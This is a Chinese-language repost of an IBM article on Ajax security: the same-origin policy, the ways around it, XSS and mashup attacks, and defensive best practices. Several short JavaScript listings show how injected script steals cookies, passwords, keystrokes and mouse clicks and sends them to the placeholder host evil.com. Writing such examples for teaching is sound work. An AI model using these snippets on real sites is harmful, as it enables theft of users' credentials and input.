征服 Ajax 應用程式的安全威脅

來源:互聯網
上載者:User

標籤:style   class   blog   code   java   http   

Ajax 構建於動態超文字標記語言(DHTML)技術之上,其中包括如下這些最常見的技術:

  • JavaScript :JavaScript 是一種指令碼語言,在用戶端 Web 應用程式中經常使用。
  • 文件物件模型(Document Object Model,DOM) :DOM 是一種用於表示 HTML 或 XML 文檔的標準物件模型。如今,大多數瀏覽器都支援 DOM 並允許 JavaScript 代碼動態地讀取和修改 HTML 內容。
  • 層疊樣式表(Cascading Style Sheets,CSS) :CSS 是一種用於說明 HTML 文檔表示的樣式表語言。JavaScript 能夠在啟動並執行時候對樣式表進行修改,這樣便可以動態地更新 Web 頁面的表示。

在 Ajax 中,用戶端 JavaScript 通過動態地修改 DOM 樹和樣式表來更新 Web 頁面。此外,非同步通訊(可以通過下面介紹的技術實現)允許動態地更新資料,而無需重新載入整個 Web 頁面:

  • XMLHttpRequest XMLHttpRequest 是一個 API,它允許用戶端的 JavaScript 與遠程伺服器建立 HTTP 串連和交換資料,比如說純文字、XML 和 JSON(JavaScript Serialized Object Notation)。
  • JSON :JSON 由 RFC 4627 提出,是一種輕量的、基於文本的、獨立於語言的資料交換格式。它以 ECMAScript 語言的一個子集為基礎(這使之成為 JavaScript 語言的一個部分),並且定義了一小套格式規則用以建立結構資料的可移植表示。

注意,Ajax 應用程式中還有一些其他常用的格式可以替代 JSON,比如說 XML 和無格式的純文字。此處我們選擇討論 JSON,其原因在於它具有一些隱藏的安全問題,稍後我們將在文章中對其進行研究。

建議對 Ajax 還不熟悉的讀者先閱讀 參考資料 中的文章。

 

理解同源策略

當來自多個始發源的內容以某種方式被整合到一個單一的應用程式中時,一些內容相互之間可能具有不同的信任層級,或者它們可能根本沒有必要相互信任。這樣自然而然會產生某種需求,即把來自不同始發者的內容分離開來,把它們之間的衝突減至最少。

 

同源策略是當前瀏覽器的保護機制的一部分,該機制將來自不同域(假設域代表的是始發者)的 Web 應用程式分離開來。也就是說,如果多個視窗或架構中的一些應用程式是從不同的伺服器下載的,那麼它們無法相互訪問資料和指令碼。注意,同源策略只能應用於 HTML 文檔。通過 <script src="..." > 標記匯入 HTML 文檔的 JavaScript 檔案被認為是該 HTML 文檔的同源的一部分。該策略在所有主要瀏覽器實現中都有執行。

 

在 XMLHttpRequest 的上下文中,同源策略的目的是控制應用程式與遠程伺服器的互動。然而,同源策略對 Web 2.0 應用程式的影響力比較有限,這有如下幾個原因:

 

  • 可以通過許多方法繞過同源策略 :稍後我將在文章中示範其中的一些方法。
  • Web 2.0 應用程式的一個重要特性就是使用者對內容的貢獻 :也就是說,通常內容並不是由受信任的服務提供的,而更多的是由非同步使用者通過 blog、wiki 等媒介提供的。因此,即便是單個伺服器中的內容實際上也能夠來自多個來源。
  • 瀏覽器強制同源策略將伺服器的網域名稱作為串字面值進行檢查 :例 如,http://www.abc.com/ 和 http://12.34.56.78/ 會被作為不同的域而區別對待,即使 www.abc.com 的 IP 位址實際上就是 12.34.56.78。此外,URL 中的任何路徑運算式都將被忽略。例如,http://www.abc.com/~alice 會被識別為 http://www.abc.com/~malroy 的同源,從而忽略了這樣一個事實,即這兩個目錄有可能屬於不同的使用者。
  • 大多數 網頁瀏覽器允許 Web 應用程式將域的定義放寬為應用程式自身的超域 :比如說,如果應用程式是從 www.abc.com 處下載的,那麼應用程式可以把 document.domain 屬性重寫為 abc.com 或者就是 com(在 Firefox 中)。大多數最新的瀏覽器只允許訪問已經把它們的 document.domain 屬性重寫為相同值的視窗或架構中的視窗對象。然而,一些版本比較老的瀏覽器允許與 document.domain 屬性中指定的域建立XMLHttpRequest 串連。
  • 即使某個 Web 服務器位於受信任的網域中,該伺服器可能並不是內容的始發源,尤其是在 Web 2.0 的上下文中 : 比如說,企業門戶伺服器、基於 Web 的郵件伺服器或者 wiki 可以是受信任的,但是他們所託管的內容可能包含來自具有潛在的惡意的第三方的輸入,這個第三方可以是跨站指令碼(cross-site scripting,XSS)攻擊(該攻擊我們將在稍後介紹)的目標。因此,伺服器所在的域並不能代表其內容的可信任度。

 

避免同源策略:JSON 和 動態指令碼標記

由於 JSON 只是一種含有簡單括弧結構的純文字,因此許多通道都可以交換 JSON 訊息。因為同源策略的限制,我們不能在與外部伺服器進行通訊的時候使用 XMLHttpRequest 。JSONP(JSON with Padding)是一種可以繞過同源策略的方法,即通過使用 JSON 與 <script> 標記相結合的方法,如 清單 1 所示。


清單 1. JSON 例子

 
Js代碼  
  1. <script type="text/javascript"  
  2.   src="http://travel.com/findItinerary?username=sachiko&  
  3.   reservationNum=1234&output=json&callback=showItinerary" />  

 

當 JavaScript 代碼動態地插入 <script> 標記時,瀏覽器會訪問 src 屬性中的 URL。這樣會導致將查詢字串中的資訊發送給伺服器。在 清單 1 中,所傳遞的是 username 和 reservation 作為名稱值對傳遞。此外,查詢字串還包含向伺服器請求的輸出格式和回呼函數的名稱(即 showItinerary )。<script> 標記載入後,會執行回呼函數,並通過回呼函數的參數把從服務返回的資訊傳遞給該回呼函數。

 

避免同源策略:Ajax 代理

Ajax 代理是一種應用級Proxy 伺服器,用於調解 網頁瀏覽器和伺服器之間的 HTTP 要求和響應。Ajax 代理允許 網頁瀏覽器繞過同源策略,這樣便可以使用 XMLHttpRequest 訪問第三方伺服器。要實現這種繞過,有如下兩種方法可供選擇:

  • 用戶端 Web 應用程式知道第三方 URL 並將該 URL 作為 HTTP 要求中的一個請求參數傳遞給 Ajax 代理。然後,代理將請求轉寄給 www.remoteservice.com。注意,可以把Proxy 伺服器的使用隱藏在 Web 應用程式開發人員所使用的 Ajax 庫的實現中。對於 Web 應用程式開發人員而言,它看上去可能完全不具有同源策略。
  • 用戶端 Web 應用程式不知道第三方 URL,並且嘗試通過 HTTP 訪問 Ajax Proxy 伺服器上的資源。通過一個預定義的編碼規則,Ajax 代理將 所請求的 URL 轉換為第三方伺服器的 URL 並代表客戶檢索內容。這樣一來,Web 應用程式開發人員看上去就像是在和Proxy 伺服器直接進行通訊。

 

避免同源策略:Greasemonkey

Greasemonkey 是一個 Firefox 擴充,它允許使用者動態地對 Web 頁面的樣式和內容進行修改。Greasemonkey 使用者可以把使用者指令碼(user script) 檔案與一個 URL 集合建立關聯。當瀏覽器通過該 URL 集合載入頁面時,便會執行這些指令碼。Greasemonkey 為使用者指令碼的 API 提供了額外的許可(與運行在瀏覽器沙箱中的指令碼的許可相比較)。

 

GM_XMLHttpRequest 是其中的一個 API,它從本質上說就是一個不具有同源策略的 XMLHttpRequest 。使用者指令碼可以將瀏覽的內建 XMLHttpRequest 替代為 GM_XMLHttpRequest ,從而許可 XMLHttpRequest 執行跨域訪問。

 

GM_XMLHttpRequest 的使用只能通過使用者同意的途徑才能受到保護。也就是說,Greasemonkey 只有在建立新使用者指令碼與特定 URL 的集合之間的關聯時才會要求使用者配置。然而,不難想象一些使用者可能會被欺騙,在沒有完全理解其後果時就接受該安裝。

 

 

研究攻擊情境

不僅開發人員在避免同源策略時會向惡意使用者露出攻擊面,當惡意代碼被插入 Web 應用程式中時當前的應用程式也易於受到攻擊。遺憾的是,惡意代碼進入 Web 應用程式的方法多種多樣。我們將簡要討論其中兩種可能的途徑,這對於 Web 2.0 的下上文來說也日漸相關。

 

跨站指令碼(Cross-site scripting,XSS)

XSS 是一種很常見的攻擊手段,在該攻擊中攻擊者將一個惡意程式碼片段注入到一個運行良好的網站中。XSS 攻擊有如下兩種基本的類型:

  • Reflected XSS
  • Stored XSS

reflected XSS 攻擊利用了 Web 應用程式安全性低的弱點,該應用程式在瀏覽器中顯示輸入參數而不對其中是否存在主動式內容進行檢查。通常,攻擊者會誘使受害者單擊 URL,如 清單 2 所示。


清單 2. reflected XSS 攻擊的一個樣本 URL

 
Js代碼  
  1. http://trusted.com/search?keyword=<script>  
  2. document.images[0].src="http://evil.com/steal?cookie="   
  3. + document.cookie; </script>  

 

假設 trusted.com 提供了一個服務,該服務具有一個搜尋特效能把搜尋結果和輸入的關鍵字一起提交回來。如果搜尋應用程式沒有過濾 URL 中的一些特殊字元(如小於符號 (<) 和大於符號 (>)),則 <script> 標記也將被插入到使用者 Web 頁面中,這樣將會把文檔的 cookie 發送給遠程伺服器 evil.com。

 

隨著 Web 2.0 的普及 stored XSS 攻擊越來越嚴重。Web 2.0 成功的關鍵是福士之間的共用、互動和協作,因此使用者有更多的機會可以通過一些服務(比如說社會網路服務(social network services,SNS)、wiki 或 blog)看到其他使用者(具有潛在惡意性)的輸入。

 

不管怎樣,輸入值驗證和資料消毒(sanitation)是防止 XSS 攻擊的關鍵因素。通常,Web 服務器從使用者輸入中移除指令碼,但是攻擊者經常會利用伺服器的弱點繞過這些過濾器,從而造成一些重大的攻擊,比如說 Yamanner 或 MySpaceIn 蠕蟲。

 

Mashup

mashup 應用程式是一種 Web 應用程式,它可以把來自多個來源的內容和服務結合到一個整合的使用者體驗中。通常,mashup 應用程式會造成一個單一的用戶端應用程式,因此 mashup 中的不同部分可以通過一些瀏覽器資源(比如說 DOM 樹或瀏覽器視窗工具)來進行資訊共用和互動。當 mashup 中的某些部分是出於惡意目的編寫的(或者被攻擊了),它可以將惡意代碼注入到應用程式中。這樣會導致各種類型的攻擊(類似於 XSS),包括盜取使用者的敏感資訊。

 

 

 

理解攻擊產生的影響

我們已經知道攻擊者是如何將代碼注入應用程式的,接下來再看看一些常見攻擊所帶來的影響。

 

 

竊取 cookies 或密碼

對於攻擊者而言,最直接的受益就是獲得使用者的敏感資訊,比如說使用者密碼或 cookies。因為注入指令碼可以訪問 DOM 樹的任何部分,所以它們可以從登入表單的文字欄位中竊取密碼資訊。例如,清單 3 中展示的代碼能夠竊取資訊並將其發送到某個攻擊者的伺服器。


清單 3. 攻擊樣本:從文字欄位中竊取密碼

 
Js代碼  
  1. function stealpw(){  
  2.   var pw = document.getElementById("password").value;  
  3.   document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;  
  4. }  
  5. document.getElementById("button").onclick = stealpw;  

 

在本例中,攻擊者需要等待一段時間,直到使用者單擊提交按鈕之後才能接收到他的資料。Ajax 使攻擊者的工作更加簡單,這是因為它允許攻擊者向遠程服務發送任意資訊,而不用等待利用使用者的動作,比如說點擊一個按鈕或單擊一個連結。這種類型的通訊量 通常會被視為可疑行為,但是由於 Ajax 具有非同步性,所以這種通訊量常常不會被檢測到。

 

使用類似的方法,攻擊者還能夠竊取敏感 Web 應用程式中的文檔 cookies(比如說線上金融應用程式)。文檔 cookies 可以允許攻擊者劫持會話或使用所竊取的憑證進行登入。

 

注意,Microsoft® Internet Explorer® 6 或更高版本對 HttpOnly cookies 提供了支援,這樣可以防止用戶端指令碼訪問文檔 cookies。然而,由於大多數 Web 應用程式都不能依賴瀏覽器來實現,所以這種方法也無濟於事。

 

使用鍵盤記錄工具(key logger)竊取鍵盤事件

清單 4 展示了一個簡單的鍵盤記錄工具樣本,該工具竊取 Web 頁面中的鍵盤事件並將它們發送給遠程伺服器。鍵盤記錄工具允許攻擊者劫持任何使用者輸入;比如說,如果某個使用者在使用一個Web 電子郵件服務,那麼鍵盤記錄工具將記錄下任何文本輸入並將其發送給攻擊者。然後,攻擊者能夠通過分析記錄資料檢索出憑證資訊,比如說密碼和憑證資訊。


清單 4. 攻擊樣本:鍵盤記錄工具

 
Js代碼  
  1. function keylogger(e){  
  2.   document.images[0].src = "http://evil.com/logger?key="  
  3.   + e.keyCode;  
  4. };  
  5. document.body.addEventListener("keyup", keylogger, false);  

 

使用滑鼠嗅探器竊取鍵盤事件

軟鍵盤是防止鍵盤記錄工具竊取敏感輸入資訊(比如說用於線上金融服務的登入 PIN 碼)的一個常用技巧。然而,滑鼠嗅探器可以使用類似於鍵盤記錄工具所使用的技巧。通過竊取滑鼠事件的 X 和 Y 座標,推算出滑鼠在軟鍵盤上所點擊的鍵也是有可能的。清單 5 示範了一個簡單的滑鼠嗅探器的樣本。


清單 5. 攻擊樣本:滑鼠嗅探

 
Js代碼  
  1. function sniffer(e){  
  2.   document.images[0].src= "http://evil.com/imgs/sniffer?x="  
  3.   + e.clientX + "&y=" + e.clientY;  
  4. };  
  5. document.body.addEventListener("mouseup", sniffer, false);  

 

 

插入錯誤資訊

使用 DOM 介面,攻擊者能夠修改 DOM 樹中的任何資訊。比如說,當某個使用者進行中線上轉帳操作時,攻擊者把目標帳戶修改為屬於他自己的帳戶也是可行的。其結果是,轉帳的金額將被存入攻擊者的帳戶中。

 

在另一種攻擊類型中,攻擊者可能會修改樣式表,把資訊隱藏起來不讓使用者發現。比如說,假設某個 Web 頁麵包含有一個警告訊息,如 清單 6 所示。


清單 6. 警告訊息

 
Html代碼  
  1. ...  
  2. <style type="text/css"> #warning { color: red } </style>  
  3. ...  
  4. <div id="warning">The links in this page may refer to   
  5. potentially malicious Web pages, so be careful. </div>  
  6. ...  

 

攻擊者可能會修改樣式表,消除警告。比如說,清單 7 中展示的 JavaScript 代碼修改了警告的樣式,使它在白色的背景中不可見。


清單 7. 攻擊樣本:消除警告

 
Js代碼  
  1. var e = document.getElementById("warning");  
  2. e.style.color= "white";  

 

推薦的最佳實務

我們對攻擊有可能的實現和其所帶來的後果有了基本的瞭解,接下來再看看一些技巧,並應用這些技巧改善 Ajax 應用程式的安全性。

 

 

添加一個輸入值檢查

正如我們在 XSS 樣本中所看到的,大多數的攻擊都利用了伺服器端的弱點,注入惡意指令碼。因此,要保護 Web 應用程式,第一步需要添加輸入驗證。輸入驗證和資料消毒會從不可信的輸入中過濾掉所有可能的活動或惡意的內容。

 

輸入驗證的兩種類型:

  • 黑名單: 在這種方法中,黑名單中的所有字元都會從輸入中過濾掉。黑名單所面臨的最大的挑戰就是要確保所有危險的字元都包含在名單中。因為要預測到所有可能的輸入組合是不可能的,所以黑名單經常不能實現正確的驗證。
  • 白名單: 這種替代方法列出所有允許的字元並從輸入中移除所有其它的字元。白名單所面臨的最大的挑戰就是在保持列表儘可能簡短的同時,仍然能夠提供足夠的靈活性,允許 Web 應用程式所需的輸入類型。

不能把黑名單或白名單作為一種絕對安全的解決方案。但是,人們通常認為白名單是更加安全的選擇。因此,推薦您使用白名單來清除具有潛在危險性的輸入。

 

對發送給瀏覽器並在其上顯示的字串中的特殊字元(比如說把小於符號 (<) 換成 "&lt;")進行轉義是增強安全性的另一種方法。有些程式語言提供了一些內建的函數用於轉義特殊字元。

 

 

使用漏洞檢查工具

由於應用程式中的程式錯誤都比較類似,因此許多 Web 應用程式都易於受到攻擊。所以,安全專家開發了一些工具,用於檢測這些不安全的編程實踐。此類工具稱為漏洞檢查工具,它們能預先檢測出潛在的漏洞。這些工 具檢測出的最常見的漏洞之一就是程式員忘記對潛在的惡意輸入調用消毒常式。

 

不要動態地產生和執行代碼

可以使用若干種方法在 JavaScript 程式中動態地產生代碼。最著名的函數之一就是 eval() 函數,該函數允許您將任一字元串做為 JavaScript 代碼執行。然而,肆無忌憚地使用該函數是非常危險的。遺憾的是,一些使用廣泛的 JavaScript 庫在內部直接使用 eval() 函數。

 

保障 JSON 的使用安全

由於 JSON 是以 JavaScript 的一個子集為基礎的,所以指令碼內容會潛在地包含惡意代碼。然而,JSON 是 JavaScript 的一個安全的子集,不含有賦值和調用。因此,許多 JavaScript 庫使用 eval() 函數將 JSON 轉換成 JavaScript 對象。要利用這點,攻擊者可以向這些庫發送畸形的 JSON 對象,這樣 eval() 函數就會執行這些惡意代碼。可以採取一些方法來保護 JSON 的使用。第一個方法是使用 RFC 4627 中所定義的Regex確保 JSON 資料中不包含活動的部分。清單 8 示範了如何使用Regex檢查 JSON 字串。


清單 8. 使用Regex檢查 JSON 字元

 
Js代碼  
  1. var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(  
  2.     text.replace(/"(\\.|[^"\\])*"/g, ‘ ‘))) &&  
  3.     eval(‘(‘ + text + ‘)‘);  

 

另一種更具安全性的方法是使用 JSON 解析器對 JSON 進行解析。由於 JSON 的文法相當的簡單,您可以輕易地實現這種解析器,而不會帶來顯著的效能差異。

 

在整合不可信內容時使用 <iframe>

您可以利用同源策略使攻擊者無法輕易地訪問整個 DOM 樹。當您把不同域中的資料載入到一個 <iframe> 中時,應該給予該資料一個屬於自己的 JavaScript 執行內容和 DOM 樹。這樣可以防止攻擊者從首頁面中竊取資訊。儘可能多地 <iframe> 限制不可信的外部內容是一個良好的實踐。

 

 

結束語

在這篇文章中,我們概述了在 Web 2.0 應用程式中避免同源策略的各種不同的方法。我們還示範了這些方法如何在 Web 應用程式中公開一些新的攻擊點。我們討論了一些常見的攻擊類型和這些攻擊所帶來的後果。最後,我們在簡短的最佳實務部分中對文章進行了總結,使用這些最佳 實踐可以避免一些最常見的攻擊。

 

 

來源:https://www.ibm.com/developerworks/cn/xml/x-ajaxsecurity.html

 

 

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.